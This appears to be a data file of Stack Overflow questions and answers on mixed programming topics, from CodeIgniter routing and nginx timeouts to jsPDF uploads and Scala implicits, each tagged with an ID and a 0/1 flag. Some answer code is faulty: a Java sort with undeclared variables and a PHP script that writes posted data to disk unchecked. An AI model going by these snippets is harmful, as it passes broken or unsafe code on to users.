form_helper INFO - 2016-08-08 15:43:25 --&gt; Helper loaded: url_helper INFO - 2016-08-08 15:43:25 --&gt; Database Driver Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Database Driver Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Session: Class initialized using 'files' driver. INFO - 2016-08-08 15:43:25 --&gt; XML-RPC Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Controller Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Model Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Model Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Model Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Model Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Form Validation Class Initialized DEBUG - 2016-08-08 15:43:25 --&gt; Session class already loaded. Second attempt ignored. INFO - 2016-08-08 15:43:25 --&gt; File loaded: /var/www/core_ci/application/views/header.php INFO - 2016-08-08 15:43:25 --&gt; File loaded: /var/www/core_ci/application/views/home.php INFO - 2016-08-08 15:43:25 --&gt; File loaded: /var/www/core_ci/application/views/footer.php INFO - 2016-08-08 15:43:25 --&gt; Final output sent to browser DEBUG - 2016-08-08 15:43:25 --&gt; Total execution time: 0.1061 </code></pre> <p>As you can see in the log, I'm getting <strong>DEBUG - 2016-08-08 15:43:25 --> No URI present. Default controller set</strong>., even if I'm calling this url <a href="http://xx.xx.xxx.107/index.php/Home/sign_in_form" rel="nofollow">http://xx.xx.xxx.107/index.php/Home/sign_in_form</a> </p> <p>Here some data about my server:</p> <pre><code>PHP Version 5.5.35 System Linux ip-xx-x-x-xxx 4.4.8-20.46.amzn1.x86_64 #1 SMP Wed Apr 27 19:28:52 UTC 2016 x86_64 Build Date May 2 2016 23:29:10 Server API FPM/FastCGI </code></pre> <p>Here the vhost Apache file:</p> <pre><code>&lt;VirtualHost *:80&gt; # Leave this alone. This setting tells Apache that # this vhost should be used as the default if nothing # more appropriate is available. ServerName default:80 # REQUIRED. Set this to the directory you want to use for # your “default” site files. DocumentRoot /var/www/html # Optional. Uncomment this and set it to your admin email # address, if you have one. If there is a server error, # this is the address that Apache will show to users. #ServerAdmin you@example.com # Optional. Uncomment this if you want to specify # a different error log file than the default. You will # need to create the error file first. #ErrorLog /var/www/vhosts/logs/error_log &lt;Directory /var/www/html&gt; AllowOverride All &lt;/Directory&gt; ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/html/$1 DirectoryIndex /index.php index.php &lt;/VirtualHost&gt; </code></pre> <p>Is there anyone that can tell me where I'm failing?</p> <p>Thanks in advance.</p> <p><strong>UPDATED</strong></p> <p>Home.php</p> <pre><code>&lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Home extends CI_Controller { public function __construct() { parent::__construct(); $this-&gt;load-&gt;model('Home_model'); $this-&gt;load-&gt;model('Users_model'); $this-&gt;load-&gt;model('Credit_model'); $this-&gt;load-&gt;library('form_validation'); $this-&gt;load-&gt;library('language'); $this-&gt;load-&gt;library('alerts'); $this-&gt;load-&gt;library('session'); $this-&gt;load-&gt;helper('url'); // $this-&gt;load-&gt;helper('captcha'); } public function test() { print_r('my test method'); } </code></pre> <p>As you can see I prepared for simplicity a test method in Home controller. If I call <a href="http://xx.xx.xxx.107/index.php/Home/test" rel="nofollow">http://xx.xx.xxx.107/index.php/Home/test</a> I get the same log sequence and it shows the home view instead of printing my raw data.</p> <p>It seems that as it is not able to get correct URi, it run default controller.</p>
2399610	0	 <p><a href="http://msdn.microsoft.com/en-us/library/yy2ykkab.aspx" rel="nofollow noreferrer">ASP.NET Site Maps</a></p> <blockquote> <p>The simplest way to create a site map is to create an XML file named Web.sitemap that organizes the pages in the site hierarchically. This site map is automatically picked up by the default site-map provider for ASP.NET.</p> </blockquote>
2379563	0	OpenCMS Content Type - when editing, it doesn't show the names of the fields <p>I created a custom content type FaqEntry in OpenCMS (three fields - title, question, answer) and registered it. When I create a new file of that type and want to edit it, it shows the three fields there, but it doesn't show their label, i.e. "Title", "Question", "Answer". Do you have any idea as to why?</p>
12149337	0	 <p><code>double[]</code> array is object. So, you get address and entire array is added at index 0.</p> <p>You may use <code>Arrays.toString(x.get(0))</code> to get readable array print.</p> <p>toString() for an array is to print [, followed by a character representing the data type of the array's elements, followed by @ then the memory address.</p>
23620321	0	Convert IPython 2.0 notebook to html from the 'file' menu <p>I am trying to convert my notebook to html from the file menu (nice feature added in 2.0), but when I do this I get a 500 : Internal Server Error screen with the text:</p> <pre><code>nbconvert failed: Pandoc wasn't found. Please check that pandoc is installed: http://johnmacfarlane.net/pandoc/installing.html </code></pre> <p>I've installed Pandoc from the link using the windows installer but keep getting the same error. Any suggestions on how to fix this? Where do I need to put the Pandoc folder or pandoc.exe that I just downloaded to make this work?</p>
8722072	0	 <p>After fighting for 3 hours and trying out every solution on forums, I found out that the simple trick was to remove the quotes while specifying the <strong>path of the Xdebug dll</strong> in <strong>zend_extension</strong> in <strong>php.ini</strong>. I am using XAMPP (PHP 5.3.6 + Apache 2.2)+ Eclipse Indigo + PDT + Xdebug 2.1.2 on Windows Vista.</p> <p>Here is the exact configuration that worked for me -</p> <pre><code>zend_extension=C:\xampp\php\ext\php_xdebug-2.1.2-5.3-vc6.dll #Note that the path above is not in quotes xdebug.remote_enable=true xdebug.remote_host=localhost xdebug.remote_port=9001 xdebug.remote_handler=dbgp xdebug.profiler_enable=1 xdebug.profiler_output_dir=C:\xampp\tmp </code></pre> <p>I have used port 9001 so that it does not clash with 9000 in case that's already used by another program. Make sure this matches the port in Eclipse > Preferences > PHP > Debug > Xdebug too. Also, restart apache after editing php.ini.</p> <p>Once I added this to php.ini, everything worked like ice cream.</p>
24294881	0	 <p>This is just complicated code for no reason..</p> <pre><code>public class Sort { public static void calc(ArrayList&lt;Book&gt; bookList) { for (i = 0 ; i &lt; bookList.size() ; i++) { for (j = i+1; j &lt; bookList.size() ; j++) { if (bookList.get(i).getRating() &gt; bookList.get(j).getRating()) { Collections.swap(bookList, i, j); } System.out.println(bookList.get(out).getTitle() + " " + bookList.get(out).getRating()); } } } } </code></pre> <p>Hope that helps</p>
11703715	0	 <p>I'd suggest:</p> <pre><code>var link = 'http://www.example.com/directory1/directory2/directory3/directory4/index.html'; console.log(link.split('/')[5]);​ </code></pre> <p><a href="http://jsfiddle.net/Eubmg/" rel="nofollow">JS Fiddle demo</a>.</p> <p>The reason we're using <code>[5]</code> not <code>[4]</code> is because of the two slashes at the beginning of the URL, and because JavaScript arrays are zero-based.</p>
30627194	1	Understanding control flow of recursive function that uses splicing <p>I seem to be unable to understand why it is, that once the terminating base condition is met in a recursive function, the function continues to call itself and go back up the call stack. </p> <p>Here's an example recursive function written in Python 2.7:</p> <pre><code>text = "hello" def reverse_string(text): if len(text) &lt;= 1: return text return reverse_string(text[1:]) + text[0] </code></pre> <p>Using the <a href="http://www.pythontutor.com/visualize.html#mode=edit" rel="nofollow">Python visualizer</a>, I understand how as the function calls itself with <code>reverse_string(text[1:])</code> and each frame is created as follows: </p> <pre><code>Frames Global frame text "hello" reverse_string reverse_string text "hello" reverse_string text "ello" reverse_string text "llo" reverse_string text "lo" reverse_string text "o" Return value "o" </code></pre> <p>My question is this: why when the base condition is met (when <code>text = "o"</code>) does that trigger text[0] to start operating? I was thinking that all the code on that return statement/line would be working together at the same time, not understanding why <code>reverse_string(text[1:])</code> happens first, then <code>text[0]</code> — and again, why is <code>text[0]</code> activated when the base conditional is met?</p>
15253144	0	 <p>If you're using Java, you may want to check out <a href="http://code.google.com/p/sikuli-api/" rel="nofollow" title="Sikuli-API on Google Code">Sikuli-API</a> instead. It tries to be more of a standard Java library.</p> <p>Sikuli-API uses <a href="http://www.slf4j.org" rel="nofollow" title="SLF4J">SLF4J</a>, so you just connect it to whatever logging framework you use (I like <a href="http://logback.qos.ch/" rel="nofollow" title="Logback">Logback</a> a lot), and it will use that configuration.</p>
29121962	0	opendir sleeps or infinite loop the program <p>I'm making a simple LS command in C in a program, when I open the directory for the first time and read it, it works perfectly, but when I call the function a second time, <code>opendir()</code> seems to sleep or loop infinitely:</p> <pre><code>int server_list(t_server_data *sd) { DIR *dir; struct dirent *entry; printf("In list()\n"); printf("Open directory\n"); if ((dir = opendir("./")) == NULL) perror("Error: opendir()"); printf("Directory opened\n"); while ((entry = readdir(dir)) != NULL) { printf("Reading dir...\n"); /* code */ } closedir(dir); return (0); } </code></pre> <p>Then this is the output I get: </p> <pre class="lang-none prettyprint-override"><code>In list() Open directory </code></pre> <p>And the program does nothing (waits).</p>
40879405	0	Why does netstat report lesser number of open ports than lsof <p>I have storm running on 2 machines.</p> <p>Each machine runs nimbus process (fancy for master process) and worker processes.</p> <p>And I wanted to see the communication between them - what ports are open and how they connect to each other.</p> <pre><code>$ netstat -tulpn | grep -w 10669 tcp 0 0 :::6700 :::* LISTEN 10669/java udp 0 0 :::42405 :::* 10669/java $ lsof -i :6700 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME java 10669 storm 25u IPv6 57830 0t0 TCP host1:50778-&gt;host2:6700 (ESTABLISHED) java 10669 storm 26u IPv6 57831 0t0 TCP host1:6700-&gt;host2:57339 (ESTABLISHED) java 10669 storm 29u IPv6 57843 0t0 TCP host1:6700-&gt;host1:50847 (ESTABLISHED) java 10669 storm 53u IPv6 57811 0t0 TCP *:6700 (LISTEN) java 10681 storm 53u IPv6 57841 0t0 TCP host1:50780-&gt;host2:6700 (ESTABLISHED) java 10681 storm 54u IPv6 57842 0t0 TCP host1:50847-&gt;host1:6700 (ESTABLISHED) </code></pre> <p>What I dont understand from the above output is that why netstat does not show port 50778 being open in the process with PID=10669 where as <code>lsof</code> clearly shows that the same process has an established connection as <code>host1:50778-&gt;host2:6700</code></p>
24260180	0	How to login to facebook in android , using simplest method <p>I am building a facebook application in which i will sign in with facebook account, now i want to get/store the session variable, and to use it for further purposes like to get the basic, and other information of the user, where a session variable is necessary to pass it in request. I am using this code for getting session variable but its not working. please refer me any tutorial or code which i will use for facebook sign in</p> <pre><code> //Setting Face Book Id facebook = new Facebook(APP_ID); mAsyncRunner = new AsyncFacebookRunner(facebook); Session s=facebook.getSession(); </code></pre>
2557207	0	Selectively replacing words outside of tags using regular expressions in PHP? <p>I have a paragraph of text and i want to replace some words using PHP (preg_replace). Here's a sample piece of text:</p> <p><code>This lesson addresses rhyming [one]words and ways[/one] that students may learn to identify these words. Topics include learning that rhyming words sound alike and these sounds all come from the [two]ending of the words[/two]. This can be accomplished by having students repeat sets of rhyming words so that they can say them and hear them. The students will also participate in a variety of rhyming word activities. In order to demonstrate mastery the students will listen to [three]sets of words[/three] and tell the teacher if the words rhyme or not.</code></p> <p>If you notice there are many occurances of the word 'words'. I want to replace all the occurances that <strong>don't</strong> occur inside any of the tags with the word 'birds'. So it looks like this:</p> <p><code>This lesson addresses rhyming [one]words and ways[/one] that students may learn to identify these birds. Topics include learning that rhyming birds sound alike and these sounds all come from the [two]ending of the words[/two]. This can be accomplished by having students repeat sets of rhyming birds so that they can say them and hear them. The students will also participate in a variety of rhyming word activities. In order to demonstrate mastery the students will listen to [three]sets of words[/three] and tell the teacher if the birds rhyme or not.</code></p> <p>Would you use regular expressions to accomplish this?<br> <em>Can</em> a regular expression accomplish this?</p>
25386942	0	 <p>I have used linked servers as a way of sharing data between mysql and SqlServer and then have triggers from the sqlServer to the mysql linked server.</p> <p>if the triggers will not work for you, the other better option will be to setup replication between the sqlserver and the mysql linked server.</p> <p><a href="http://www.ideaexcursion.com/2009/02/25/howto-setup-sql-server-linked-server-to-mysql/" rel="nofollow">http://www.ideaexcursion.com/2009/02/25/howto-setup-sql-server-linked-server-to-mysql/</a></p> <p><a href="http://dbperf.wordpress.com/2010/07/22/link-mysql-to-ms-sql-server2008/" rel="nofollow">http://dbperf.wordpress.com/2010/07/22/link-mysql-to-ms-sql-server2008/</a></p>
4719134	0	 <p>Sure. You can use the magic constant <code>__FILE__</code> which contains the path to the file that you use it in:</p> <pre><code>class MyClass def initialize puts File.read(__FILE__) end end </code></pre> <p>This will print the contents of the file containing the definition of <code>MyClass</code> every time you create a <code>MyClass</code> object.</p>
26582458	0	 <p>i think you are using $routeProvider for your angular app. but in your example angular app is using $stateProvider.so you have to install angular-ui-router.js and give reference to it to the index.html . and also you have to put dependency 'ui.router' in to app.js </p>
16375887	0	Unable to start main activity which has build by maven <p>I had three proejct: parent, source and a library project. My problem is the following: after successful mvn install android:deploy android:run the application get`s crash with the following message:</p> <pre><code>05-04 17:22:10.564: E/AndroidRuntime(6574): FATAL EXCEPTION: main 05-04 17:22:10.564: E/AndroidRuntime(6574): java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.fruit.apple/com.fruit.apple.SplashScreenActivity}: java.lang.ClassNotFoundException: com.fruit.apple.SplashScreenActivity in loader dalvik.system.PathClassLoader[/system/framework/com.google.android.maps.jar:/mnt/asec/com.fruit.apple-1/pkg.apk] </code></pre> <p>Actually I don`t know what should be there problem, I really appreciate your help.</p> <p>Thanks, Karoly</p> <p>PS part of pom.xml</p> <pre><code>&lt;plugin&gt; &lt;groupId&gt;com.jayway.maven.plugins.android.generation2&lt;/groupId&gt; &lt;artifactId&gt;android-maven-plugin&lt;/artifactId&gt; &lt;version&gt;3.2.0&lt;/version&gt; &lt;configuration&gt; &lt;sign&gt; &lt;debug&gt;true&lt;/debug&gt; &lt;/sign&gt; &lt;androidManifestFile&gt;${project.basedir}/AndroidManifest.xml&lt;/androidManifestFile&gt; &lt;assetsDirectory&gt;${project.basedir}/assets&lt;/assetsDirectory&gt; &lt;resourceDirectory&gt;${project.basedir}/res&lt;/resourceDirectory&gt; &lt;sourceDirectory&gt;${project.basedir}/src/main/java&lt;/sourceDirectory&gt; &lt;testSourceDirectory&gt;${project.basedir}/src/test/java&lt;/testSourceDirectory&gt; &lt;sdk&gt; &lt;path&gt;${android.sdk.path}&lt;/path&gt; &lt;platform&gt;17&lt;/platform&gt; &lt;/sdk&gt; &lt;deleteConflictingFiles&gt;true&lt;/deleteConflictingFiles&gt; &lt;undeployBeforeDeploy&gt;false&lt;/undeployBeforeDeploy&gt; &lt;/configuration&gt; &lt;extensions&gt;true&lt;/extensions&gt; &lt;/plugin&gt; </code></pre>
13312846	0	 <p>You're defining a function prototype with a reference as the return value. The function returns a reference to an integer. As such its return value can be set to another value.</p>
8285424	0	 <p>Add unique constraint on both columns:</p> <pre><code>CREATE UNIQUE INDEX ui_tab ON tab (x, y); </code></pre>
7735251	0	 <p>You are not initializing p. It's an uninitialized pointer that you are writing to.</p> <p>Since you are writing this in C++, not C, I'd suggest using <code>std::string</code> and <a href="http://www.cplusplus.com/reference/algorithm/reverse/"><code>std::reverse</code></a>:</p> <pre><code>#include &lt;string&gt; #include &lt;algorithm&gt; #include &lt;iostream&gt; int main() { std::string str = "Saw my reflection in snow covered hills"; std::reverse(str.begin(), str.end()); std::cout &lt;&lt; str; return 0; } </code></pre> <p>Output:</p> <pre> sllih derevoc wons ni noitcelfer ym waS </pre> <p>See it working online at <a href="http://ideone.com/iMb1B">ideone</a></p>
24542886	0	Starting eclipse from Command Prompt different than double clicking <p>My university wipes their public computers every time someone logs off, so I have decided to write a .bat file that copies my eclipse from a flash drive to their desktop with all my code intact. The file currently looks like this:</p> <pre><code>@echo off mkdir C:\Users\lib-pac-olin-ppc\Desktop\eclipse xcopy eclipse C:\Users\lib-pac-olin-ppc\Desktop\eclipse /S /E C:\Users\lib-pac-olin-ppc\Desktop\eclipse\eclipse.exe </code></pre> <p>When I run this, eclipse starts up but behaves as if it has been launched for the first time. It does not adopt the default workspace settings and it flashes up the welcome screen. However, when I launch eclipse by directly double clicking it, it goes to my workspace and pulls up my code. It also launches a lot faster. Why is this happening?</p> <p>For the person that asked, here is the .ini file:</p> <pre><code>-startup plugins/org.eclipse.equinox.launcher_1.3.0.v20140415-2008.jar --launcher.library plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20140603-1326 -product org.eclipse.epp.package.standard.product --launcher.defaultAction openFile --launcher.XXMaxPermSize 256M -showsplash org.eclipse.platform --launcher.XXMaxPermSize 256m --launcher.defaultAction openFile --launcher.appendVmargs -vmargs -Dosgi.requiredJavaVersion=1.7 -Xms40m -Xmx512m </code></pre> <p>I should note that the JVM was placed in a folder called jre within the eclipse directory, which is where eclipse looks for it by default.</p>
13829295	0	 <p>You cannot perform append operation on array. Try the following. </p> <p><code>String[] list = new String[6];</code><br> <code>list[0] = "One";</code><br> <code>list[1] = "Two";</code><br> <code>list[2] = "Three";</code><br> <code>list[3] = "Four";</code><br> <code>list[4] = "Five";</code><br> <code>list[5] = "Six";</code><br> <code>String[] list2 = new String[list.length / 2];</code><br> <code>for (int i = 0, j = 0; i &lt; list.length; i++, j++)</code><br> <code>{</code><br> <code>list2[j] = list[i] + list[++i];</code><br> <code>}</code> </p>
13231790	0	How to toggle “Use Physical Keyboard” <p>I am trying to solve the same thing as the following post posts:</p> <p><a href="http://stackoverflow.com/questions/11878153/how-to-toggle-use-physical-keyboard/13231368#13231368">How to toggle &quot;Use Physical Keyboard&quot;.</a> and <a href="http://stackoverflow.com/questions/9244816/switch-from-physical-to-software-keyboard/13231306#13231306">Switch from physical to software keyboard</a></p> <p>Basicaly I want to toggle the native option from android to turn the physical keyboard on or off. However, I want to create this button through code.</p> <p>None of those links have one good answer. Can anyone help me?</p>
11665548	0	Implementation details of MPI collective operations on a multi core machine <p>In MPI, each rank has a unique address space and communication between them happens via message passing. I want to know how MPI works in a multicore machine which has a shared memory. If the ranks are on two different machines with no shared memory, then MPI has to use messages for communication. But if ranks are on the same physical machine (but still each rank has a different address space), will the MPI calls take advantage of the shared memory. Say for example I'm issuing an ALLREDUCE call. I have two machines M1 &amp; M2 each with 2 cores. Rank R1, R2 are on core1 &amp; core2 of machine M1 and R3&amp;R4 are on C1&amp;C2 of machine M2. How would the ALLREDUCE happen. Will there be more than 1 message transmitted? Ideally I would expect R1&amp;R2 to do a reduce using the shared memory available to them (similarly R3&amp;R4) followed by message exchange between M1 &amp; M2. Is there any documentation where I can read about the implementation details of the collective operations in MPI?</p>
15503651	0	 <p>You want to detect an invalid situation, so you should check for it even before calling your solver. Your solver on itself will not create invalid solutions...</p>
33395503	0	PHP get keys in nested array using array_keys( ) <p>I have a $results array produced from a query and I would like to output a table in html. I would like the header to be "id", "length" and "sample_id". Since the header changes every time, so I used</p> <pre><code>$keys = array_keys($results[0]); </code></pre> <p>I got "array_keys() expects parameter 1 to be array" error. If the nested part is not an array, how should I get the keys?</p> <pre><code>array:59 [▼ 0 =&gt; {#160 ▼ +"id": 204 +"length": 233 +"sample_id": "ad3" } 1 =&gt; {#161 ▼ +"id": 205 +"length": 733.5 +"sample_id": "bt7r" } 2 =&gt; {#162 ▶} 3 =&gt; {#163 ▶} 4 =&gt; {#164 ▶} 5 =&gt; {#165 ▶} </code></pre>
38737328	0	 <p>I'm afraid this "issue" happens in the Python (instead of pandas) side. When you have some instant values like <code>1234589890878708980.67</code> it's recognized as <code>float</code> and loses precision instantly, e.g.:</p> <pre><code>&gt;&gt;&gt; 1234589890878708980.67 1.234589890878709e+18 &gt;&gt;&gt; 1234589890878708980.67 == 1234589890878708980.6712345 True </code></pre> <p>You might try something like <code>decimal.Decimal</code>:</p> <pre><code>&gt;&gt;&gt; import decimal &gt;&gt;&gt; pd.DataFrame({'x': [decimal.Decimal('1234589890808980.67')]}) x 0 1234589890808980.67 </code></pre> <p><strong>EDITED:</strong></p> <p>OP's added a few questions in the comment.</p> <blockquote> <p>However, do I understand it right that for this method work correctly the value should be string in the first place?</p> </blockquote> <p>Yes :)</p> <blockquote> <p>What if it's float read from csv file?</p> </blockquote> <p>AFAIK Python's <code>csv</code> reader shall not have performed any type conversion, and you'll get strings that could be later converted freely. Otherwise if you're using <code>pandas.read_csv</code>, you could try setting the <code>dtype</code> and <code>float_precision</code> arguments (you could also ask pandas to load plain strings, and have the values converted later yourself).</p>
21157531	0	 <p>Please assign an event <code>SelectedIndexChanged</code> and <code>AutoPostBack = true</code> is this is a web Application in C#</p>
34727540	0	 <p>You should use the seamless proxy:</p> <pre><code>registry=https://npm-proxy.fury.io/AUTH_TOKEN/me/ </code></pre>
7945561	0	Beginning Dynamic Programming - Greedy coin change help <p>I am currently working through a book on algorithm design and came across a question whereby you must implement a greedy algorithm with dynamic programming to solve the coin change problem.</p> <p>I was trying to implement this and I just can't figure out out or make sense of the algorithm given in my book. The algorithm is as follows(with my (lack of) understanding in comments) :</p> <pre><code>Change(p) { C[0] = 0 for(i=1 to p) //cycling from 1 to the value of change we want, p min = infinity for(j=1 to k( //cyle from 1 to...? if dj &lt;=i then if(1+C[i-dj] &lt; min) then min = 1+C[i-dj] endif endif endfor C[i] = min endfor return C[p] } </code></pre> <p>And my attempt at interpreting what's going on :</p> <pre><code>/** * * @param d * currency divisions * @param p * target * @return number of coins */ public static int change(int[] d, int p) { int[] tempArray = new int[Integer.MAX_VALUE]; // tempArray to store set // of coins forming // answer for (int i = 1; i &lt;= p; i++) { // cycling up to the wanted value int min = Integer.MAX_VALUE; //assigning current minimum number of coints for (int value : d) {//cycling through possible values if (value &lt; i) { if (1 + tempArray[i - value] &lt; min) { //if current value is less than min min = 1 + tempArray[1 - value];//assign it } } } tempArray[i] = min; //assign min value to array of coins } System.out.println("help"); // :( return tempArray[p]; } </code></pre> <p>Can someone please explain to me what I am missing, how to fix this, and how this algorithm is supposed to work? Dynamic Programming seems like such a useful tool, but I cannot get my head around it. I keep thinking recursively.</p>
7312574	0	 <p>Since I do not have an iPad, I am unable to troubleshoot this. I can confirm that the desktop version of Safari works fine though. Have you tried this on newer versions of DotNetNuke? The browser and telerik definitions are updated with every release. If you cannot upgrade for some reason, I would try upgrading just your telerik controls. For example, you can try the latest release of the <a href="http://radeditor.codeplex.com/" rel="nofollow">DNN 5 RadEditor Provider by dnnWerk</a>.</p>
29845004	0	 <p>I managed to fix this using <code>FormData()</code>, here's how I did it:</p> <pre><code>$(document).on("click", "#PDF", function () { var table = document.getElementById("result"); var cols = [], data = []; function html() { var doc = new jsPDF('p', 'pt'); var res = doc.autoTableHtmlToJson(table, true); doc.autoTable(res.columns, res.data); var pdf =doc.output(); //returns raw body of resulting PDF returned as a string as per the plugin documentation. var data = new FormData(); data.append("data" , pdf); var xhr = new XMLHttpRequest(); xhr.open( 'post', 'upload.php', true ); //Post to php Script to save to server xhr.send(data); } html(); }); </code></pre> <p><strong>upload.php</strong></p> <pre><code>if(!empty($_POST['data'])){ $data = $_POST['data']; $fname = "test.pdf"; // name the file $file = fopen("testa/pdf/" .$fname, 'w'); // open the file path fwrite($file, $data); //save data fclose($file); } else { echo "No Data Sent"; } </code></pre> <p>The key part being <code>var pdf =doc.output();</code> where you want to get the raw pdf data. </p>
16792604	0	 <p>There is no need to write <code>new String()</code> to create a new string. When we write <code>var x = 'test';</code> statement, it create the <code>x</code> as a string from a primitive data type. We can't attach the custom properties to this <code>x</code> as we do with object literal. ie. <code>x.custom = 'abc';</code> <code>x.custom</code> will give undefined value. Thus as per our need we need to create the object. <code>new String()</code> will create an object with <code>typeof()</code> Object and not string. We can add custom properties to this object.</p>
24885023	0	Hide HTML5 number input’s spin box but accepts alphanumeric characters <p>i have hidden the spinbox arrows from an input type="number" but the number restrictions doesn't work already. Hence, the numberbox now accepts alphanumeric characters.</p> <p>I used this code when i was able to hide the spinner arrows:</p> <pre><code>input::-webkit-outer-spin-button, input::-webkit-inner-spin-button { /* display: none; &lt;- Crashes Chrome on hover */ -webkit-appearance: none; margin: 0; /* &lt;-- Apparently some margin are still there even though it's hidden */ } </code></pre> <p>hi @BenM! thanks for editing my question. Now, thanks for the idea of using <em>javascript</em> @FakeRainBrigand but it didn't work for me. </p> <p>This worked for me though. I'm using <strong>MVC</strong> and <strong>Razor</strong></p> <p>` function keeypress(e) { var unicode = e.keyCode ? e.keyCode : e.charCode</p> <pre><code> if (unicode == 8) { return; }; if (unicode == 37 || unicode == 39 || unicode == 38 || unicode == 40 || unicode == 27) { return; } else { }; if (unicode == 13) { e.preventDefault(); }; if ($.isNumeric(String.fromCharCode(unicode)) == false) { e.preventDefault(); }; } </code></pre> <p>`</p>
21186828	0	Numerous 499 status codes in nginx access log after 75 seconds <p>We are using nginx in a long polling scenario. We have a client that the user installs which then communicates with our server. An nginx process in that server passes that request to backends which are Python processes. The Python process holds the request for up to 650 seconds.</p> <p>In the nginx access log there are a lot of 499 entries. Logging the $request_time shows that the client times out after 75 seconds. None of the nginx timeouts are set to 75 seconds though.</p> <p>Some research suggest that the backend processes might be too slow, but there isn't a lot of activity in the servers containing the processes. Adding more servers/processes also didn't help, neither did upgrading the instance where nginx is.</p> <p>Here are the nginx configuration files.</p> <p>nginx.conf</p> <pre><code>user nobody nogroup; worker_processes 1; worker_rlimit_nofile 131072; pid /run/nginx.pid; events { worker_connections 76800; } http { sendfile on; tcp_nopush on; tcp_nodelay on; types_hash_max_size 2048; keepalive_timeout 65; server_names_hash_bucket_size 64; include /usr/local/openresty/nginx/conf/mime.types; default_type application/octet-stream; log_format combined_edit '$remote_addr - $remote_user [$time_local] ' '"$request" $status $body_bytes_sent ' '"$http_referer" "$http_user_agent" "$request_time"'; access_log /var/log/nginx/access.log combined_edit; error_log /var/log/nginx/error.log; gzip on; gzip_disable "msie6"; include /usr/local/openresty/nginx/conf.d/*.conf; include /usr/local/openresty/nginx/sites-enabled/*; } </code></pre> <p>backend.conf</p> <pre><code>upstream backend { server xxx.xxx.xxx.xxx:xxx max_fails=12 fail_timeout=12; server xxx.xxx.xxx.xxx:xxx max_fails=12 fail_timeout=12; } server { listen 0.0.0.0:80; server_name host; rewrite ^(.*) https://$host$1 permanent; } server { listen 0.0.0:443; ssl_certificate /etc/ssl/certs/ssl.pem; ssl_certificate_key /etc/ssl/certs/ssl.pem; ssl on; server_name host; location / { proxy_connect_timeout 700; proxy_buffering off; proxy_redirect off; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_read_timeout 10000; # something really large proxy_pass http://backend; } } </code></pre>
31036844	0	Scala map a Vector of tuples to vector of object <pre><code>import scala.concurrent.duration._ import scala.language.implicitConversions import scala.concurrent.{Future, Await} import scala.concurrent.ExecutionContext.Implicits.global object test extends App { case class Person(name: String, age: Int) implicit def t2p(t: (String, Int)) : Person = Person(t._1, t._2) val f:Future[Vector[(String, Int)]] = Future { Vector(("One", 1), ("Two", 2)) } val s = f.mapTo[Vector[Person]] Await.result(s.map { _ foreach { x =&gt; println(x)}}, 5.seconds) } </code></pre> <p>I am trying to convert a Vector of tuples to a Vector[Person] but the above code result in a casting exception even though there is an implicit tuple to Person conversion function?</p> <p>Exception in thread "main" java.lang.ClassCastException: scala.Tuple2 cannot be cast to example.test$Person at example.test$$anonfun$2$$anonfun$apply$1.apply(test.scala:19) at scala.collection.Iterator$class.foreach(Iterator.scala:727) at scala.collection.AbstractIterator.foreach(Iterator.scala:1157) at scala.collection.IterableLike$class.foreach(IterableLike.scala:72) at scala.collection.AbstractIterable.foreach(Iterable.scala:54) at example.test$$anonfun$2.apply(test.scala:19) at example.test$$anonfun$2.apply(test.scala:19)</p> <p>Thanks.</p>
40728071	0	 <p>From your MainActivity:</p> <pre><code>Intent intent = new Intent(this, mySensor.class); intent.putExtra("type", Sensor.TYPE_LIGHT); </code></pre> <p>and within your service:</p> <pre><code>@Override public IBinder onBind(Intent intent) { mSensorManager= (SensorManager) getSystemService(Context.SENSOR_SERVICE); int type = intent.getExtras().get("type"); s= mSensorManager.getDefaultSensor(type); return null; } </code></pre> <p>then you can remove:</p> <pre><code>public mySensor(int type){ ... } </code></pre> <p>and eventually the code you wrote within the <code>onCreate</code>.</p>
38392206	0	 <p><code>match</code> accept regex for <code>url</code> value. Try:</p> <pre><code>&lt;match url="(.*?)/?awards?(\.aspx)?$" /&gt; </code></pre> <p><a href="https://www.debuggex.com/r/flpHf1GKQeQcdYCo" rel="nofollow"><img src="https://www.debuggex.com/i/7YkHJSHFyJDwo-99.png" alt="Regular expression visualization"></a></p> <p>This will match <code>award</code>, <code>award.aspx</code>, <code>awards</code> and <code>awards.aspx</code>.</p> <p><strong>Update</strong> to match <code>/test</code> as well:</p> <pre><code>&lt;match url="(.*?)/?(awards?|test)(\.aspx)?$" /&gt; </code></pre> <p><a href="https://www.debuggex.com/r/ht3kA7il9EtWmIdn" rel="nofollow"><img src="https://www.debuggex.com/i/ApnzxG8guGJkFLyV.png" alt="Regular expression visualization"></a></p> <p>It is just a <a href="http://www.regular-expressions.info/" rel="nofollow">regular expression</a>. You can match whatever you want.</p>
37038190	0	 <p>I found another situation that could cause this to happen. I was converting a PHP function to a JS function and I had the following line:</p> <pre><code>ticks += "," . Math.floor(yyy * intMax); </code></pre> <p>Changing it to </p> <pre><code>ticks += "," + Math.floor(yyy * intMax); </code></pre> <p>solved the problem</p>
39275662	0	Google not crawling my pages even using history.pushState() <p>I read a lot on SEO compatibility with google crawler before starting my new project. And everything tends to say that Google know execute javascript, and so can render my template. For example <a href="http://stackoverflow.com/questions/31437815/does-html5modetrue-affect-google-search-crawlers">here</a>.</p> <p>But it seems that the crawler never execute my javascript, and the templating with some api's data isn't done. (I seen that after using the "fetch as google tool")</p> <p>I started my router like this</p> <pre><code>Backbone.history.start({pushState: true, hashChange: false}); </code></pre> <p>And so route are handled like this:</p> <pre><code>Backbone.history.navigate(url, { trigger: true }); </code></pre> <p>So I probably miss something somewhere but where ?</p>
28289664	0	 <p>If it's an icon, why not just use a <code>float</code>?</p> <pre><code>.my-icon { display: block; width: 10px; height: 10px; float: right; } </code></pre> <p>Don't forget to set <code>overflow: hidden;</code> on the container, of course.</p>
